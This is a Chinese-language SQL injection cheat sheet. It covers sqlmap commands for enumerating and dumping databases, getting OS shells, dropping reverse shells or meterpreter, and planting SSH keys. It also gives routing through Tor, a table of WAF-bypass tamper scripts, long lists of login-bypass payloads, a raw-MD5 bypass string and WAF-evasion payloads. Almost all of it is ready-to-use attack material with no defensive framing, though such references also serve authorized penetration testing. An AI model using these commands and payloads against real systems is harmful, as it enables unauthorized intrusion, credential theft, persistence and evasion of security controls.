# SQLMAP

**使用**

```
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
-p 指定注入点，注入参数
--user-agent 指定user-agent
--random-agent 随机user-agent
--threads 线程
--risk 风险等级 随着等级的增多，增加格式的测试语句
--level 随着level变多，payload增加，运行时间增加，还会测试请求头的注入
--eta 显示每个输出的预计完成时间
--dbms 指定当前数据库类型
--os 指定系统版本
--banner 获取数据库管理系统的标识
--is-dba 测试是否为dba权限
--dbs 列出全部数据库
--current-user 列出当前用户
加载请求文件使用手机useragent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

**自定义注入点UserAgent/Header/Referer/Cookie**

```
用*号指定注入点
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
```

**二阶注入**

```
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

**shell**

```
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```

**使用 SQLmap 自动爬取网站和利用**

```
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

**将 TOR 与 SQLmap 一起使用**

```
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
```

**代理**

```
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

**使用cookie 和代理**

```
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3
```

**使用后缀篡改注入**

```
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

**使用tamper bypass waf**

| Tamper                       | 描述                                                                                |
| ---------------------------- | --------------------------------------------------------------------------------- |
| 0x2char.py                   | 用CONCAT(CHAR(),…) 替换每个 (MySQL) 0x 编码字符串                                           |
| apostrophemask.py            | 用utf8代替引号                                                                         |
| apostrophenullencode.py      | 绕过过滤双引号，替换字符和双引号                                                                  |
| appendnullbyte.py            | 在有效负荷结束位置加载零字节字符编码                                                                |
| base64encode.py              | Base64编码                                                                          |
| between.py                   | 用between替换大于号（>）                                                                  |
| bluecoat.py                  | 代替空格字符后与一个有效的随机空白字符的SQL语句 然后替换=为like                                              |
| chardoubleencode.py          | 双url编码(不处理已编码的)                                                                   |
| charencode.py                | url编码                                                                             |
| charunicodeencode.py         | 字符串 unicode 编码                                                                    |
| charunicodeescape.py         | unicode 转义                                                                        |
| commalesslimit.py            | 无逗号                                                                               |
| commalessmid.py              | 'MID(A, B, C)' 替换为 'MID(A FROM B FOR C)'                                          |
| commentbeforeparentheses.py  | 括号前的注释 ( -> /\*\*/()                                                              |
| concat2concatws.py           | 'CONCAT(A, B)' 替换为 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'                         |
| charencode.py                | 字符编码                                                                              |
| charunicodeencode.py         | unicode 编码                                                                        |
| equaltolike.py               | 替换等号为like                                                                         |
| escapequotes.py              | 转义引号                                                                              |
| greatest.py                  | 用GREATEST替换大于号                                                                    |
| halfversionedmorekeywords.py | 关键字前加注释                                                                           |
| htmlencode.py                | HTML 编码                                                                           |
| ifnull2casewhenisnull.py     | 将 'IFNULL(A, B)' 之类的实例替换为 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END'             |
| ifnull2ifisnull.py           | 用 'IF(ISNULL(A), B, A)' 替换像 'IFNULL(A, B)' 这样的实例                                  |
| informationschemacomment.py  | 在（MySQL）“information\_schema”标识符的所有出现的末尾添加一个内联注释（/\*\*/）                          |
| least.py                     | 将大于运算符 ('>') 替换为 'LEAST' 对应项                                                      |
| lowercase.py                 | 用小写值替换每个关键字字符（例如 SELECT -> select）                                                |
| modsecurityversioned.py      | 包含带有版本化注释的完整查询                                                                    |
| modsecurityzeroversioned.py  | 包含带有零版本注释的完整查询                                                                    |
| multiplespaces.py            | 在 SQL 关键字周围添加多个空格                                                                 |
| nonrecursivereplacement.py   | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、”")） filters |
| overlongutf8.py              | 转换给定有效负载中的所有字符                                                                    |
| overlongutf8more.py          | 将给定负载中的所有字符转换为超长 UTF8（例如 SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94）          |
| percentage.py                | 在每个字符前面添加一个百分号 ('%')                                                              |
| plus2concat.py               | 将加号运算符 ('+') 替换为 (MsSQL) 函数 CONCAT() 对应项                                          |
| plus2fnconcat.py             | 将加号运算符 ('+') 替换为 (MsSQL) ODBC 函数 {fn CONCAT()} 对应项                                |
| randomcase.py                | 用随机大小写值替换每个关键字字符                                                                  |
| randomcomments.py            | 为 SQL 关键字添加随机注释                                                                   |
| securesphere.py              | 附加特殊制作的字符串                                                                        |
| sp\_password.py              | 将“sp\_password”附加到有效负载的末尾，以便从 DBMS 日志中自动混淆                                        |
| space2comment.py             | 用注释替换空格字符 (' ')                                                                   |
| space2dash.py                | 用破折号注释 ('--') 后跟随机字符串和换行符 ('\n') 替换空格字符 ('')                                      |
| space2hash.py                | 将空格字符 (' ') 替换为井号字符 ('#')，后跟随机字符串和换行符 ('\n')                                      |
| space2morehash.py            | 将空格字符 (' ') 替换为井号字符 ('#')，后跟随机字符串和换行符 ('\n')                                      |
| space2mssqlblank.py          | 用一组有效替代字符中的随机空白字符替换空格字符 (' ')                                                     |
| space2mssqlhash.py           | 用井号字符 ('#') 后跟换行符 ('\n') 替换空格字符 ('')                                              |
| space2mysqlblank.py          | 用一组有效替代字符中的随机空白字符替换空格字符 (' ')                                                     |
| space2mysqldash.py           | 用破折号注释 ('--') 后跟换行符 ('\n') 替换空格字符 ('')                                            |
| space2plus.py                | 将空格字符 (' ') 替换为加号 ('+')                                                           |
| space2randomblank.py         | 用一组有效替代字符中的随机空白字符替换空格字符 (' ')                                                     |
| symboliclogical.py           | 将 AND 和 OR 逻辑运算符替换为对应的符号（&& 和                                                     |
| unionalltounion.py           | 将 UNION ALL SELECT 替换为 UNION SELECT                                               |
| unmagicquotes.py             | 将引号字符 (') 替换为多字节组合 %bf%27 以及末尾的通用注释                                               |
| uppercase.py                 | 用大写值“INSERT”替换每个关键字字符                                                             |
| varnish.py                   | 附加 HTTP 标头“X-originating-IP”                                                      |
| versionedkeywords.py         | 用版本化 MySQL 注释将每个非函数关键字括起来                                                         |
| versionedmorekeywords.py     | 用版本化的 MySQL 注释将每个关键字括起来                                                           |
| xforwardedfor.py             | 附加一个虚假的 HTTP 标头“X-Forwarded-For”                                                  |

**使用账户密码访问数据库**

sqlmap.py -d "mysql://user:pass\@ip/database" --dump-all

**身份验证绕过 - 万能账户密码**

```
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

**身份验证绕过（原始 MD5 SHA1）**

```
当密码为MD5加密是
查询语句是这样的
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
绕过方式
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

**WAF 绕过**

```
无空格
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
注释符
?id=1/*comment*/and/**/1=1/**/--
括号绕过
?id=(1)and(1)=(1)--
更多
```

| DBMS       | ASCII characters in hexadicimal                                                                                                                                        |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SQLite3    | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| MySQL 5    | 09, 0A, 0B, 0C, 0D, A0, 20                                                                                                                                             |
| MySQL 3    | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20                                                                                                                                                 |
| MSSQL      | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20                                         |

```
无逗号
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
无等号
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
大小写
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
运算符
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```
